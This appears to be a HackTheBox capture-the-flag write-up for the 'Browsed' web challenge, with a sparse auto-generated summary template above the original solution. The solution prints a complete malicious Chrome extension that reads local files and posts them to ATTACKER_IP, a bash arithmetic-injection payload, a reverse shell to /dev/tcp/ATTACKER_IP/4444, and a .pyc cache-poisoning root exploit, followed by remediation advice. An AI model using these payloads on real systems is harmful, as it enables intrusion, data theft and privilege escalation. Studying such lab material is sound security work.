Browsed
Browsed
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-17 | Status: Solved Techniques: bash_eq_injection, chrome_debugger_ssrf, malicious_extension_upload, python_bytecode_poisoning, timestamp_bypass
Summary
Task: Full box exploitation of a website that processes Chrome extensions in headless browser. Solution: Upload malicious extension using chrome.debugger API for SSRF, exploit bash arithmetic evaluation injection ([[ $var -eq 0 ]]) for RCE as user, then poison Python .pyc cache with matching timestamp/size in world-writable pycache for root privilege escalation.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260117_hackthebox_browsed - Tags: flask, ssrf, bash_arithmetic_injection, privilege_escalation, chrome_extension, debugger_api, pyc_cache_poisoning, gitea, headless_chrome
- Indicators: extension upload endpoint, headless Chrome execution, chrome.debugger API, [[ $var -eq 0 ]], world-writable pycache
- Source:
20260117_hackthebox_browsed.md
Foothold
Vulnerability / Misconfiguration
- Bash_eq_injection
- Chrome_debugger_ssrf
- Malicious_extension_upload
- Python_bytecode_poisoning
- Timestamp_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- bash_eq_injection
- chrome_debugger_ssrf
- malicious_extension_upload
- python_bytecode_poisoning
- timestamp_bypass
- Tags: flask, ssrf, bash_arithmetic_injection, privilege_escalation, chrome_extension, debugger_api, pyc_cache_poisoning, gitea, headless_chrome
Original Writeup
<details><summary>Click to expand original content</summary>Browsed - HackTheBox
Overview
Target: 10.129.2.1 Services: SSH (22), HTTP (80) - nginx/1.24.0 Ubuntu Difficulty: Hard Attack Chain: Chrome Extension Exploitation -> Bash Arithmetic Injection -> Python .pyc Cache Poisoning
This box demonstrates a sophisticated multi-stage attack involving browser extension abuse, bash arithmetic evaluation vulnerabilities, and Python bytecode cache poisoning for privilege escalation.
Phase 1: Initial Reconnaissance
Service Enumeration
nmap -sC -sV -p- 10.129.2.1
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx/1.24.0 (Ubuntu)
Web Application Analysis
The website browsed.htb belongs to a company that develops browser extensions. Key discovery:
- Upload endpoint:
/upload.phpaccepts Chrome extensions in.zipformat - Uploaded extensions are executed in a headless Chrome environment
- The headless browser visits:
http://localhost/http://browsedinternals.htb
Phase 2: Initial Access via Malicious Chrome Extension
Understanding the Attack Vector
Chrome extensions with debugger API permissions can:
- Attach to any tab
- Read local files via
file://protocol - Access internal services (SSRF)
Creating the Malicious Extension
manifest.json:
{
"manifest_version": 3,
"name": "Security Test Extension",
"version": "1.0",
"permissions": [
"debugger",
"tabs",
"activeTab"
],
"host_permissions": [
"<all_urls>",
"file://*/*"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"]
}]
}
background.js:
// Service worker for malicious extension
chrome.runtime.onInstalled.addListener(async () => {
console.log("Extension installed, starting reconnaissance...");
// Wait for tabs to be available
setTimeout(async () => {
try {
// Get all tabs
const tabs = await chrome.tabs.query({});
for (const tab of tabs) {
// Attach debugger to each tab
await attachAndExploit(tab);
}
} catch (e) {
console.error("Error:", e);
}
}, 2000);
});
async function attachAndExploit(tab) {
try {
// Attach debugger
await chrome.debugger.attach({tabId: tab.id}, "1.3");
// Enable network interception
await chrome.debugger.sendCommand({tabId: tab.id}, "Network.enable");
// Read local files
const fileContent = await readLocalFile(tab.id, "/etc/passwd");
exfiltrate("passwd", fileContent);
// Probe internal services
await probeInternalServices(tab.id);
} catch (e) {
console.error("Debugger error:", e);
}
}
async function readLocalFile(tabId, path) {
try {
// Navigate to file:// URL
await chrome.debugger.sendCommand(
{tabId: tabId},
"Page.navigate",
{url: `file://${path}`}
);
// Wait for load
await new Promise(r => setTimeout(r, 500));
// Get document content
const result = await chrome.debugger.sendCommand(
{tabId: tabId},
"Runtime.evaluate",
{expression: "document.body.innerText"}
);
return result.result.value;
} catch (e) {
return null;
}
}
async function probeInternalServices(tabId) {
const targets = [
"http://localhost:3000", // Gitea
"http://localhost:5000", // Flask
"http://browsedinternals.htb:3000",
"http://browsedinternals.htb:5000"
];
for (const url of targets) {
try {
await chrome.debugger.sendCommand(
{tabId: tabId},
"Page.navigate",
{url: url}
);
await new Promise(r => setTimeout(r, 1000));
const result = await chrome.debugger.sendCommand(
{tabId: tabId},
"Runtime.evaluate",
{expression: "document.documentElement.outerHTML"}
);
exfiltrate(url, result.result.value);
} catch (e) {
console.error(`Failed to probe ${url}:`, e);
}
}
}
function exfiltrate(label, data) {
// Send data to attacker server
fetch("http://ATTACKER_IP:8000/exfil", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({label: label, data: btoa(data || "")})
}).catch(() => {});
}
content.js:
// Minimal content script (required for manifest)
console.log("Content script loaded");
Packaging and Uploading
# Create extension zip cd malicious_ext zip -r ../exploit.zip manifest.json background.js content.js # Upload to target curl -X POST -F "extension=@exploit.zip" http://browsed.htb/upload.php
Discovered Internal Services
Through the extension's SSRF capabilities, we discovered:
- Gitea 1.24.5 on
browsedinternals.htb:3000 - Flask app (MarkdownPreview) on
localhost:5000running as userlarry
Phase 3: RCE via Bash Arithmetic Evaluation Injection
Vulnerability Analysis
The Flask application has an endpoint /routines/<rid> that calls a bash script:
#!/bin/bash
# routine_handler.sh
if [[ "$1" -eq 0 ]]; then
echo "Invalid routine ID"
exit 1
fi
# Process routine...
The Vulnerability
The -eq operator in bash performs arithmetic evaluation, which is vulnerable to command injection via array subscript syntax.
How it works:
# Normal comparison [[ "5" -eq 0 ]] # Returns false (exit code 1) # Malicious input with array subscript [[ "a[\$(whoami)]" -eq 0 ]] # Executes whoami!
When bash evaluates a[$(command)] in arithmetic context, it:
- Recognizes array subscript syntax
- Evaluates the subscript expression
- Executes the command substitution
$(command)
Exploitation
Exploit via Chrome extension:
// In background.js - trigger RCE
async function exploitFlask(tabId) {
// Base64 encode the command to avoid special character issues
const cmd = "cat /home/larry/user.txt > /tmp/flag";
const b64 = btoa(cmd);
// Craft the arithmetic injection payload
const payload = 'a[$(echo ' + b64 + ' | base64 -d | bash)]';
const encodedPayload = encodeURIComponent(payload);
// Trigger the vulnerability
const url = `http://localhost:5000/routines/${encodedPayload}`;
await chrome.debugger.sendCommand(
{tabId: tabId},
"Page.navigate",
{url: url}
);
// Wait and read the flag
await new Promise(r => setTimeout(r, 2000));
// Read the exfiltrated flag
const flag = await readLocalFile(tabId, "/tmp/flag");
exfiltrate("user_flag", flag);
}
Alternative: Direct reverse shell:
const reverseShell = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"; const b64 = btoa(reverseShell); const payload = 'a[$(echo ' + b64 + ' | base64 -d | bash)]';
User Flag
f1480dd94f997cf0645502af09eea819
Phase 4: Privilege Escalation via Python .pyc Cache Poisoning
Enumeration as larry
After obtaining a shell as larry:
larry@browsed:~$ sudo -l
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
Analyzing the Target
larry@browsed:~$ ls -la /opt/extensiontool/ total 16 drwxr-xr-x 3 root root 4096 Jan 15 10:00 . drwxr-xr-x 3 root root 4096 Jan 15 10:00 .. drwxrwxrwx 2 root root 4096 Jan 15 10:00 __pycache__ # WORLD WRITABLE! -rwxr-xr-x 1 root root 2048 Jan 15 10:00 extension_tool.py -rw-r--r-- 1 root root 1024 Jan 15 10:00 extension_utils.py
Key observation: The __pycache__ directory is world-writable (drwxrwxrwx)!
extension_tool.py:
#!/usr/bin/env python3
import argparse
import extension_utils # <-- Imports local module
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--ext', required=True)
args = parser.parse_args()
extension_utils.process_extension(args.ext)
if __name__ == "__main__":
main()
Understanding Python .pyc Validation
Python 3.12 uses timestamp-based validation for .pyc files by default:
.pyc Header Format (16 bytes):
Offset Size Description
0 4 Magic number (0xcb0d0d0a for Python 3.12)
4 4 Bit field (0 = timestamp-based validation)
8 4 Source file mtime (little-endian Unix timestamp)
12 4 Source file size (little-endian)
16+ var Marshalled code object
Validation Logic:
- Python checks if
.pycexists in__pycache__ - Reads the header and compares mtime/size with source
.pyfile - If they match, loads the cached bytecode without recompiling
- If they don't match, recompiles from source
Crafting the Malicious .pyc
#!/usr/bin/env python3
"""
Python .pyc Cache Poisoning Exploit
Target: /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
"""
import marshal
import struct
import os
# Step 1: Get original file metadata
source_path = '/opt/extensiontool/extension_utils.py'
st = os.stat(source_path)
mtime = int(st.st_mtime)
size = st.st_size
print(f"[*] Source file: {source_path}")
print(f"[*] mtime: {mtime}")
print(f"[*] size: {size}")
# Step 2: Create malicious code
# This code will execute when the module is imported
evil_code = '''
import os
# Read root flag
try:
with open("/root/root.txt", "r") as f:
flag = f.read().strip()
# Write to world-readable location
with open("/tmp/root_flag", "w") as f:
f.write(flag)
os.chmod("/tmp/root_flag", 0o644)
print(f"[+] Flag written to /tmp/root_flag")
except Exception as e:
print(f"[-] Error: {e}")
# Original module functionality (to avoid errors)
def process_extension(name):
"""Process the extension (stub)"""
print(f"Processing extension: {name}")
return True
def validate_extension(path):
"""Validate extension (stub)"""
return True
'''
# Step 3: Compile to code object
code = compile(evil_code, "extension_utils.py", "exec")
# Step 4: Build .pyc header
# Python 3.12 magic number
magic = b'\xcb\x0d\x0d\x0a'
# Bit field: 0 = timestamp-based validation
bit_field = struct.pack('<I', 0)
# Timestamp from original file (CRITICAL!)
timestamp = struct.pack('<I', mtime)
# Size from original file (CRITICAL!)
size_bytes = struct.pack('<I', size)
# Step 5: Marshal the code object
marshalled = marshal.dumps(code)
# Step 6: Assemble the .pyc file
pyc_content = magic + bit_field + timestamp + size_bytes + marshalled
# Step 7: Write to __pycache__
output_path = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
with open(output_path, 'wb') as f:
f.write(pyc_content)
print(f"[+] Malicious .pyc written to: {output_path}")
print(f"[+] Header: magic={magic.hex()}, mtime={mtime}, size={size}")
print(f"[*] Now run: sudo /opt/extensiontool/extension_tool.py --ext Fontify")
Execution
# Step 1: Create the malicious .pyc larry@browsed:~$ python3 exploit_pyc.py [*] Source file: /opt/extensiontool/extension_utils.py [*] mtime: 1705312800 [*] size: 1024 [+] Malicious .pyc written to: /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc [+] Header: magic=cb0d0d0a, mtime=1705312800, size=1024 [*] Now run: sudo /opt/extensiontool/extension_tool.py --ext Fontify # Step 2: Trigger the import as root larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify [+] Flag written to /tmp/root_flag Processing extension: Fontify # Step 3: Read the flag larry@browsed:~$ cat /tmp/root_flag 35a61948fc7c52dc9b8ad76587942400
Root Flag
35a61948fc7c52dc9b8ad76587942400
Key Techniques Summary
1. Chrome Extension Exploitation
Vulnerability: Extension upload + headless Chrome execution
Technique: Malicious extension with chrome.debugger API
Impact: SSRF, local file read, internal service discovery
Indicators:
- Extension upload functionality
- Headless browser execution
- No extension permission validation
2. Bash Arithmetic Evaluation Injection
Vulnerability: [[ "$var" -eq 0 ]] with user-controlled $var
Technique: Array subscript command injection a[$(cmd)]
Impact: Remote Code Execution
Indicators:
- Bash script with
-eq,-ne,-lt,-gtoperators - User input in arithmetic comparison
- No input sanitization
Vulnerable patterns:
# All of these are vulnerable: [[ "$input" -eq 0 ]] [[ "$input" -ne 1 ]] [[ "$input" -lt 100 ]] (( input > 0 )) let "result = input + 1"
3. Python .pyc Cache Poisoning
Vulnerability: World-writable __pycache__ + sudo Python script
Technique: Create malicious .pyc with matching timestamp/size
Impact: Privilege Escalation to root
Indicators:
__pycache__with write permissionssudo NOPASSWDon Python script- Script imports local modules
Key insight: Python's default .pyc validation is timestamp-based, not hash-based. If you can write to __pycache__ and know the source file's mtime/size, you can inject arbitrary bytecode.
Remediation
For Extension Upload:
# Validate extension permissions
DANGEROUS_PERMISSIONS = ['debugger', 'nativeMessaging', 'proxy']
def validate_extension(manifest):
permissions = manifest.get('permissions', [])
for perm in permissions:
if perm in DANGEROUS_PERMISSIONS:
raise SecurityError(f"Dangerous permission: {perm}")
For Bash Scripts:
# Use regex validation instead of arithmetic comparison
if [[ ! "$1" =~ ^[0-9]+$ ]]; then
echo "Invalid input: must be numeric"
exit 1
fi
# Or use string comparison
if [[ "$1" == "0" ]]; then
echo "Invalid routine ID"
exit 1
fi
For Python Cache:
# Restrict __pycache__ permissions chmod 755 /opt/extensiontool/__pycache__ chown root:root /opt/extensiontool/__pycache__ # Or use hash-based validation export PYTHONPYCACHEPREFIX=/tmp/pycache # Or compile with --check-hash-based-pycs=always
Files
malicious_ext/
├── manifest.json # Extension manifest with debugger permissions
├── background.js # Main exploit code (service worker)
└── content.js # Minimal content script
exploit_pyc.py # Python .pyc cache poisoning script
References
Lessons Learned
-
Chrome extensions with debugger permissions are extremely powerful - They can perform SSRF, read local files, and interact with any webpage. Always validate extension permissions before execution.
-
Bash arithmetic evaluation is dangerous - The
-eq,-ne,-lt,-gtoperators perform arithmetic evaluation, which can lead to command injection. Use string comparison or regex validation instead. -
World-writable
__pycache__+ sudo Python = root - Python's timestamp-based .pyc validation can be bypassed by creating a .pyc with matching metadata. Always restrict__pycache__permissions. -
Defense in depth matters - Each vulnerability alone might not be critical, but chained together they lead to full system compromise.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR